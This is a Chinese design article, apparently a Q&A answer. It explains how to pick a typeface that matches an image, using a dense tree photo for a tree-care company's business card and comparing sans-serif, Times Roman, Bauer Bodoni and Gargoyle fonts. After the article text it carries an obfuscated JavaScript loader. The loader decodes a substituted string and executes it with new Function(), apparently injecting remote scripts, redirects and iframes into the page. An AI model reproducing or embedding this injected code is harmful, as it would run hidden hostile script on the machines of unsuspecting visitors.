推荐回答(1个)
要确保字体与图像和谐一致,关键是要找出两者的共同点。你手头上已经有一张你想要的图片了,而你需要找一种字体与它搭配,你如何选择?我们会认为文字的作用就是用来阅读,但事实上字体其实也是一种艺术作品,不同的字体——实际上就是不同的图片,能够传达不同的语气及含义。所以我们 可以看到销售的字体一点都不便宜。当文字作为印刷品时,不同的字体传达了活泼、庄重或商业等不同的气息,这些不同是由字体的结构所决定的。关键的问题就是要如何选择字体,因为只有当图片与字体传达的是同一种“声调”,两者在一起时才会感觉到和谐,并且力量也得到加强。在本文中,我们将会探讨这一点,我们在本文介绍的 Harry & Sons 公司,其业务是树木护理、修剪等——已经有了一张他们满意的图片,是一张稠密的树木图片。他们需要寻找一种能够与这棵树搭配的字体来设计公司的名片。分析图片为了使所用的文字与图片配合,我们第一步必须要找出两者在视觉上的共同之处。我们首先通过观察其比例、形状、线条及图案来深入了解这张图片。事实上,我们在看一件物体时更多的是采用一种“辨认”的方式(“这是一棵树”),而我们并没有真正“看”到它们,大多数情况我们都只是在雾里看花, 作为一名设计师,我们要真正学会如何“看”一件东西,设计师的眼睛必须与众不同!如果我们仔细打量这棵树,你会看到更多的东西。比例及质量这棵树给人的感觉是很浓密粗壮的,这一特性对我们在余下的设计是具有很大的影响力的,而我们在看一件东西的比例时,有时会给自己的眼睛所欺骗,所以 最好的办法就是直接在图片上画一个方框来观察(如上图),不要轻易相信自己眼睛所看到的。加了一个方框后,我们看到这棵树的几个比例特点:? 它呈正方形;? 它呈对称性;? 它是笔直的。形状:形状是我们感觉一件物体的关键。这棵树的形状是在一条直线上有着一个呈卵形结构的形状,树杆是笔直的,树基是水平的,类似在一根拐杖上放置一个鸡蛋的感觉。线条线条就是指一幅图象中主要的横线或垂线,也指边缘的轮廓。在上图中,我们看到一条主要呈水平状的横线及沿树叶两端由上至下的弧线,最下面是一条崎岖不平的边缘线。纹理:这棵树有很丰富的纹理。其纹理给人一种凌乱感,但要特别留意其中所产生疏密不一的纹理形成了正空间(黑色区域)及负空间(白色区域),其象河流的纹理就象池塘中的鲜苔。文字:我们可以轻易找到各种各样的文字。我们首先从观察不同字体的比例及形状入手,首先排除一些明显与图片不协调的字体。当我们经过了前几步对树木图片观察后,我们可以知道,一些紧缩形、扩展形及流畅形的字体与树木图片并不搭配。而结实型(上右)的字体粗看与树木的结 构非常接近,但这种字体有着太多人工痕迹,与充满自然纹理及线条的树木图片并不接近。通过上述这一步中,我们已经排除其中一大部分的字体。让我们来试一下其它的字体:我们要观察一些标准的字体,这些字体整体呈矩形状,字形笔直,这种字体是数量最多的一种字体(占了所有字体的一半)。所以,我们还要更进一步深入观察,也就是说,我们要观察线条及纹理。上图为 Sans-serif (非衬线体,即通常我们所说的黑体)字体,如果采用这种字体与我们的图片搭配,则它具有合适的比例,但却拥有不恰当的线条。 Sans-serif 给人一种机械性的呆板,而且外观划一,无论是线条、转角位还是直线都很象是同一个模做出来似的,这种线条与其呈现的纹理与我们这张充满自然气息的图片并不 相似。上图为罗马体,有着合适的比例,也有着更恰当的线条,这种旧式的罗马字体与那棵树一样有着很多相似之处,如这种字体有着丰富的细节,而且细节各异, 他们的线条有粗细之分,还有衬线装饰,使到线条的末端形成很丰富的纹理,这种字体如果组合成一个区域,同样形成细节丰富的图片感觉。经过了上一步的筛选,我们又排除了另一部分的字体,也使我们的方向更加明朗:即选择那些具有标准比例、衬线的罗马字体。但这种字体同样有很多种,而哪一种才是最好的呢?在这个例子中,线条与纹理是其中的关键——但现在,我们还要更进一步观察。标准比例的罗马体是所有字体中最古老及用得最普及的字体,你可能会问,有多古老?我们今天最常用的其中一种字体 Trajan (图拉真,名字来自于公元 98-117 在位时的罗马皇帝)是根据 1900 年前当时罗马那些雕刻在柱子上的字体演变而来的!在现在我们所使用的大部分衬线字体都有 100-300 年历史,这也充分说明了罗马字体是最能经受时代的考验的!这些字体比例严谨,具有衬线装饰,线条有粗细变化,这些特点也使到罗马字体成为最适宜阅读的字 体,所以看到我们的书本、杂志及报纸正文中都在使用衬线字体并不让人感到奇怪。虽然我们已经确定了采用罗马字体,但上面三种字体,哪一种才是最合适的呢?让我们以三种不同的“观看距离”来看一下这些字体,这一步将决定我们最终选择哪一种字体。Times Roman 字体Times Roman 字体无疑是非常受欢迎的一种字体(甚至是很多电脑中排在第一位的默认字体),它具有很精细的细节及粗细变化的线条,但其精雕细刻的线条及呈规律变化的线条 粗细也使其呈现一种整齐划一的视觉效果。其衬线收尾处过于精细(见上图第一张),甚至让人感觉到如果你用手指去碰它们,这些精细的衬线会象一枝针刺伤你的 手指。所以对于我们那棵充满生命力、有着很多圆弧转角及天然特性的树木图片来说, Times Roman 字体并不是最佳的选择。Bauer Bodoni 字体这种字体充满现代气息,但我们要留意它的细线条、细节元素,特别是字母与字母并排时所形成的纹理,如果你拿这种字体与树木图片对比时,您会看到他们两者有相似之处吗?
上述三图同样是我们以近、中、远三种不同距离来观察文字。作为一种现代字体, Bauer Bodoni 字体其线条变化非常大,在不同的字母中,其粗线都是一样粗,其细线也是一样细,这种字体广泛应用于服装界及财经界的设计领域,但它们尖锐的边缘及几何形的 精密同样给人一种机械感及整齐感,过细的线条在以较远距离观察时,几乎难以辨认。与我们树木图片所呈现的柔软感性的纹理同样不搭配。通过上面所述,你是否已经学会如何去看一件东西?其实这个过程是训练眼睛的一个过程,一旦你学会以这种方式去观察每一件东西,那你已经前进了一大步。在这里,我们要说到 Gargoyle 字体——亦是我们树木图片最佳搭配的字体。Gargoyle 字体具有一种人文气息及手写体的风格,但它同时具有一种标准的比例及旧体的风格,字体细节丰富,而且不同字母的各个细节变化无规律,线条粗细变化并不明 显,它朴实无华的线条及圆弧转角的细节给人一种温暖、变化及生命力的感觉,而这一切,正象树木图片所呈现的风格。这就是我们要选择的字体。应用:在排版上,应该顺应图片所呈现的特征——在这个例子中,树木是笔直的,所以我们在文字安排上也可以利用这个特点,无论是正反版面,文字都是居中对齐,由上到下,呼应了树木的结构特点,在反面中,文字区域边缘所呈现的无规律轮廓同样呼应了树木的轮廓。
每一个元素的安排都根据树林的特点来安排。卡片是垂直摆放的,文字从上到下,就象树杆给人的感觉一样,首先安排 LOGO ,底部是电话号码,中间大片留空的区域让眼睛有放置的地方。而在背面版式中,相同的树木元素再次出现,但尺寸却较小,而且留意一点,在背面中, LOGO 下方并没有名称,这样使人不会搞不清哪一面才是正面。多行文字既容易阅读,也模仿了树木的轮廓。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();